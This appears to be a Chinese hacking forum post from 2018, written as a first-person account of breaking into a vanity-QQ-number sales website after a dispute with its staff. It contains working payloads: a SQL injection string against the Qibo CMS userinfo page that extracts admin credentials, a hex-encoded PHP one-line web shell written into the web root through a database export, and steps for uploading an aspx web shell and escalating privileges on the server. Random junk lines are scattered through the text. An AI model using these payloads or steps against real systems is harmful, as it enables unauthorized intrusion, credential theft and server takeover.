|
+ v! W: x/ j. i# c
9 Z, Y# t; W& o. c" Y' N% G
- |9 Z J/ F) ]" c n
3 c: h+ m4 ?8 K4 X" u/ ~& B
一、踩点寻找漏洞
7 h+ D( @2 s) k- I
闲来无事，在各个QQ靓号群求买5位QQ，寻问半天无果就在百度搜索5位QQ扫号找到“目标”www.qq.com，打开一看就一静态页面，哇好多靓号啊，90000000,300000,98888888，199999999，哇这么多靓号，然后我去联系客服，要求客服登录账户看看，此处略去100字，然后开始撕逼，然后就有了下文。。。。
, c1 X m1 h9 Y4 ]7 d: \
随手拿御剑扫了一下好多php页面，随手加一个member发现是齐博1.0的内容管理系统，然后就去百度找漏洞，什么后门漏洞一一做测试都无果，找来找去找到一个全版本的注入漏洞，详细利用方法如下：
- e: @' W" z* S2 T先注册一个用户，记住注册时候的邮箱以uid号，
. V$ f9 k' a# W! k" y
; p5 |- _/ T9 g; z
9 m' A& B8 ^3 e' c+ [- h& N
然后我们打开火狐浏览器简单构造一下，http://www.qq.com/member/userinfo.php?job=edit&step=2，发送数据包如下：
( D" H: G& `: r2 o' \
0 v; S; Q, A. _6 w
truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select user()) where uid=3%23
9 h" M$ A% |4 Z4 e: `4 @
这里的email和uid一定要和注册的账号所吻合，然后访问，提示成功以后查看用户资料如图：
- X' B @% m6 |' H
4 v6 I9 x% y* @5 O: K: X _2 {* F确实存在注入漏洞，那么我们来注入一下管理账号密码，修改数据包如：truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select concat(username,0x2e,password) from qb_members limit 1) where uid=3%23
) y, H1 P A6 ]# Z
6 y" ]5 V" h* V8 K
( m8 U) Y5 o7 {, T& X3 Q9 }
解密进后台如图：
- e6 D( |/ }/ E7 @$ Q4 l; d# K
, k( `* G+ E$ N3 W
| D1 v6 x' E4 R% T
! y7 r K5 N" c二、后台getwebshell
8 \8 e* L& _" t进了后台，以前齐博有个后台getwebshell漏洞，在系统功能- 单篇文章独立页面管理-增加页面添加个webshell，如图：
+ U( G) n, X5 D$ |1 Q4 P! d
$ N9 X6 u1 o+ p) k# x8 u* G( S
6 a a! H" A- c- O" e2 c5 ?
0 [7 t' Y* N6 N9 r( N/ j+ K/ i
然后点确定，添加提示
3 p; \% @8 u5 E: F c
% m+ Z. m# f' Z' B$ s- h8 c/ M- w
3 u& B( @" g' `9 A/ s) ^
, Y# S7 E' T: h* z, z" \1 l! a1 y; F由于是ii6.0的所以我们可以考虑一下解析漏洞，我们再来如图：
& v& ?2 T7 c2 o* ^
! s' J$ z8 r7 I4 N% B' c4 R* O
( [8 T7 Q/ ?* e9 ?改静态页面为help.php;.htm，然后我们发现访问help.php;.htm是404（写文章之前测试是可以成功写入的），欧巴，他么的我们再想想别的办法，抽了一支烟，我们继续，他这里不是有个服务器信息、数据库工具吗，之前我们测试当前用户名是root，那么我们完全可以考虑利用服务器信息、数据库工具来导入一句话，屌屌的妈妈的，我们来演示一下，先把一句话hex编码一下，<?php assert($_POST[sb]);?>编码以后是：0x3C3F7068702061737365727428245F504F53545B73625D293B3F3EDA网站目录是D:\wwwroot\qq.com\admin\，注意我们要把\改成/,否则不成功D:/wwwroot/qq.com/admin/,下面我们来导一下
1 k- D1 d5 C3 \+ a" g* |
如图：
5 }( k! B$ u# w" k" d" ~
& S8 ^4 @& V. B2 {$ v
2 l8 F3 [3 g8 c$ V1 e6 ~
# R+ T+ [7 y( b
之前已经测试过了用普通菜刀无法连接，测试用过狗菜刀也无法连接，用xiese打开
@1 @: l2 w h* x0 w6 x3 }$ J
5 B3 ~; V" ?* _, F" X4 K
7 G" W' c0 {! P! {" H( _& e8 O: U
8 d5 {- ]6 h7 l1 B3 t4 b; b
三、提权进服务器
$ s Q% c$ m Y
经测试xise下一句话只有在admin目录下有权限浏览，且不能执行命令，庆幸的是支持aspx，那么我们就上一个aspx大马，然后执行命令提示拒绝访问，哈哈在c:\windows\temp下上传cmd.exe然后执行systeminfo，发现打了400多补丁，如图：
/ d7 i' E9 b2 W5 B) Y+ ]7 z
$ L4 Y# o3 ]. Z" N1 S
- x8 K% i( G% S1 A! }* Z4 J3 T3 ^* ^
啧啧啧，这么多补丁，我都没去试试今年和2014年放出来的exp，而且是在咱们大00下载了一个变异pr，然后上传提权如图：
5 w3 X2 r) p4 a# {3 b
: a9 z- v9 X+ D
$ `: w3 f, B1 ` O) G. o+ F( @; V然后登陆服务器如图：
, B! t& J% g4 z# Z( ~+ V% h" n
5 b" L9 a B; T
/ X3 a3 ?1 [; s. e% O
J6 ] m5 b% n
" l% @1 @8 Y5 s$ e- _
$ a- ]$ m+ J v5 P3 q
难怪普通刀连接不上，原来是有狗。
- G8 u% V& u5 s# C
0 z, K0 O' K c# T& n
( c( z# [& ], D * n7 P8 y+ C2 a* ?$ s0 Y3 I3 `$ A: g6 Z
% l' v/ d/ r( I0 A
& l* e9 j% b8 e0 `' ]# q
# N: L' j4 [8 m3 C, @: Z | 
发表于 2018-10-20 20:08:47
收藏
支持
反对